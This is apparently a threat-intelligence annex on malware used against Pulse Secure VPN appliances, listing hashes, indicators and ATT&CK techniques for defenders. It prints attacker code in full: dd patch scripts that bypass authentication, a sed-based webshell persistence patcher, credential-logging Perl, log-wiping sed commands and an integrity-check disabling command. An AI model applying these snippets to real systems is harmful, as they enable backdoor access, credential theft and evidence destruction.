Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.

Detections and Mitigations

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

  • HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

  • PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials:
    • /tmp/dsactiveuser.statementcounters
    • /tmp/dsstartssh.statementcounters
    • /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

  • The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.

a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1

  • Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:

Key

Value

REQUEST_METHOD

POST

HTTP_X_KEY

<BackdoorKey>

HTTP_X_CNT

<RC4Key>

HTTP_X_CMD

<RC4Command>

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

  • SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n.

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

  • PACEMAKER is saved at filepath /home/bin/memread
  • Executed with commandline flags –t, -m, -s
  • Attaches to victim processes with PTRACE and opens subfiles in /proc/

88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079

  • THINBLOOD creates the files:
    • /home/runtime/logs/log.events.vc1
    • /home/runtime/logs/log.events.vc2
    • /home/runtime/logs/log.access.vc1
    • /home/runtime/logs/log.access.vc2
  • Executes the system API with the mv command specifying one of the files above, targeting:
    • /home/runtime/logs/log.access.vc0
    • /home/runtime/logs/log.events.vc0
  • Executes the rm command specify one of the .vc1 files above

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

  • SLIGHTPULSE uses /tmp/1 as command execution log
  • All POST requests to meeting_testjs.cgi are suspicious
  • POST parameters: cert, img, name are used by malicious logic
  • Responses to the endpoint with the name parameter respond with no-cache and image/gif

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

  • THINBLOOD execution of sed on the files:
    • log.events.vc0
    • log.access.vc0
    • Log.admin.vc0
  • Sed patterns used:
    • s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g
    • s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

  • The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line:
    • ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

  • The sample uses the HTTP query parameter id and responds with HTTP headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282

705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f

  • Execute sed on PulseSecure system files
  • Remounts filesystem as writable: system("/bin/mount -o remount,rw /dev/root /")
  • Unexpected execution of other system commands such as tar, cp, rm

MITRE ATT&CK Techniques

The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.

  • T1003-OS Credential Dumping
  • T1016-System Network Configuration Discovery
  • T1021.001-Remote Desktop Protocol
  • T1027-Obfuscated Files or Information
  • T1036.005-Match Legitimate Name or Location
  • T1048-Exfiltration Over Alternative Protocol
  • T1049-System Network Connections Discovery
  • T1053-Scheduled Task/Job
  • T1057-Process Discovery
  • T1059-Command and Scripting Interpreter
  • T1059.003-Windows Command Shell
  • T1070-Indicator Removal on Host
  • T1070.001-Clear Windows Event Logs
  • T1070.004-File Deletion
  • T1071.001-Web Protocols
  • T1082-System Information Discovery
  • T1098-Account Manipulation
  • T1105-Ingress Tool Transfer
  • T1111-Two-Factor Authentication Interception
  • T1133-External Remote Services
  • T1134.001 Access Token Manipulation: Token Impersonation/Theft
  • T1136-Create Account
  • T1140-Deobfuscate/Decode Files or Information
  • T1190-Exploit Public-Facing Application
  • T1505.003-Web Shell
  • T1518-Software Discovery
  • T1554-Compromise Client Software Binary
  • T1556.004-Network Device Authentication
  • T1592.004 Gather Victim Host Information: Client Configurations
  • T1562 Impair Defenses
  • T1569.002-Service Execution
  • T1574 Hijack Execution Flow 
  • T1600-Weaken Encryption


Figure 6: MITRE ATT&CK Map

Technical Annex

SLIGHTPULSE

The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.

The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is:

POST params

Invoked Command

cert

writefile

img, name with nonempty value

readfile

img set to empty string "", name

execcmd

anything else

invoke original legitimate logic


Figure 7: Webshells respond to POSTs

All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is:

Outbound/Inbound:

<6randbytes><encrypted_data>
^-RC4NONCE-^

Usage:

<6randbytes><rc4_phrase><encrypted_data>
^-------RC4 KEY--------^

ReadFile

This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers "Content-type: application/x-download\n", and form header "Content-Disposition: attachment; filename=tmp\n\n".

WriteFile

This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

Execute

This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers "Cache-Control: no-cache\n" and "Content-type: image/gif\n\n" are used. The response appears to be masquerading as a GIF when sending back this command output.

RADIALPULSE

The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters.

Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.

An excerpt of the code related to credential stealing is shown as follows:

my $realmName1 = $signin->getRealmInfo()->{name};     

open(*fd, ">>/tmp/dsstartssh.statementcounters");      

syswrite(*fd, "realm=$realmName1 ", 5000);         

syswrite(*fd, "username=$username ", 5000);        

syswrite(*fd, "password=$password\n", 5000); 

close(*fd);

SLOWPULSE Variant 1

The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal.

In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively.

LDAP Auth Bypass

In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed.

RADIUS Two Factor Auth Bypass

In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed.

SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication.

The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal.

SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed.

SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover.

SLOWPULSE Variant 2 Patcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded.

SLOWPULSE Variant 3 Patcher

 As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded.

SLOWPULSE Variant 4 Patcher

As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is:

printf '\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

SLOWPULSE Variant 4 UnPatcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is:

printf '\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\xFF' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

STEADYPULSE

The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution.

The attacker inserted two blocks of Perl code that implement the webshell. The source code modifications are surrounded by comments that indicate the start and end of inserted code. The comment strings used are ##cgistart1, ##cgiend1, ##cgistart2 and ##cgiend2. Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary.

  • The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell. It also adds a function to parse parameters of received command data.
  • The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present. If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage.

The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key. This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable. Individual key/value pairs delimited by the & character and are URL decoded. Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter. If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run. Upon submission, the webshell will execute the passed command on the victim host's command line and display the results to the attacker before exiting. If no cmd value was extracted, the webshell will simply output a </pre> HTML tag.

PULSECHECK

The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1) is a webshell written in Perl that enables arbitrary command execution. With a properly formatted request, the script will execute webshell code. Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked.

The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY. If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD. This data is RC4 encrypted and base64-encoded. The passphrase to decrypt is sent in the environment variable HTTP_X_CNT. The webshell will set the content type to Content-type:text/html and the command output printed. Following this, the script exits.

QUIETPULSE

The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper. The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script.

QUIETPULSE Utility Script

The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands. Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade. This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence. The script is set to execute in a loop where four main checks are executed every two minutes. The checks are as follows:

Check 1

If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute:

  • grep -c -s 'system($depara)' /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing:

  • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then copy a file via:

  • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then replace the copy’s first line with the one retrieved from the sed above via:

  • sed -i 1c"<varies>" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Check 2

If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via:

  • cp -p /home/bin/dshelper /tmp/data/root/home/bin/

Check 3

If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec("/home/bin/dshelper"):

  • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver

If it doesn't then execute to insert the line:

  • sed -i 's/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver

Check 4

If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing:

  • grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh

If the file does contain this content, then execute the following to switch the content to exit 0:

  • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/check_integrity.sh
PULSEJUMP

The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode.

The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration.

HARDPULSE

The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function.

The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it's non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation.

If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it's matched against get and put which will read/write arbitrary files to the host, respectively.

ATRIUM

The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked.

Persistence Patcher

The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates.

my $cmd_x="sed -i '/echo_console \"Saving package\"/i(
    sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){
        print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\";
        print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\";
        my \\\\\$na=CGI::param(\\\\\"id\\\\\");
        system(\\\\\"\\\\\$na\\\");
    } else{
        &main();
    }\\\' /tmp/data/root$cgi_p;
    cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl;
    cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)'/pkg/do-install";

The patcher also performs additional shell commands for unpacking a compressed package:

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");

PACEMAKER

The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information:

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application's proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.

Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are:

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is:

Name:<username> || Pwd:<password> || AuthNum:<authnumber>\n

The sample replaces the following URL encoded values with their ascii representation for the password:

&amp; ->  &
&lt;  ->  <
&gt;  ->  >

PACEMAKER Launcher Utility

As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.

#!/bin/bash

/home/bin/memread -t $1 -m 16 -s 2 &

THINBLOOD Log Wiper Utility

The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information:

Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...]

The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate:

mv /home/runtime/logs/log.<logtype>.vc2
/home/runtime/logs/log.<logtype>.vc0
rm /home/runtime/logs/log.<logtype>.vc1

THINBLOOD LogWiper Utility Variant

The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are:

sed -i "s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g" /data/runtime/logs/<logfile>

sed -i "s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g" /data/runtime/logs/<logfile>

The sample embeds the usage information:

usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)]

LOCKPICK

The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.

LOCKPICK Patcher

The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i '12aexit 0' /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.

Platform(s) 

Detection Name 

Network Security 

Email Security 

Detection On Demand 

Malware File Scanning 

Malware File Storage Scanning 

 

FE_APT_Webshell_PL_HARDPULSE_1
FEC_APT_Webshell_PL_HARDPULSE_1
APT.Webshell.PL.HARDPULSE

FE_APT_Trojan_PL_PULSEJUMP_1
FEC_APT_Trojan_PL_PULSEJUMP_1
FE_Trojan_PL_Generic_1

FE_APT_Trojan_PL_RADIALPULSE_1
FEC_APT_Trojan_PL_RADIALPULSE_1
FE_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_3
FEC_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_4
FEC_APT_Trojan_PL_RADIALPULSE_3
FE_APT_Trojan_PL_RADIALPULSE_5
FE_APT_Tool_SH_RADIALPULSE_1
FEC_APT_Tool_SH_RADIALPULSE_1

FE_APT_Trojan_Linux32_PACEMAKER_1
FE_APT_Trojan_Linux_PACEMAKER_1

FE_APT_Backdoor_Linux32_SLOWPULSE_1
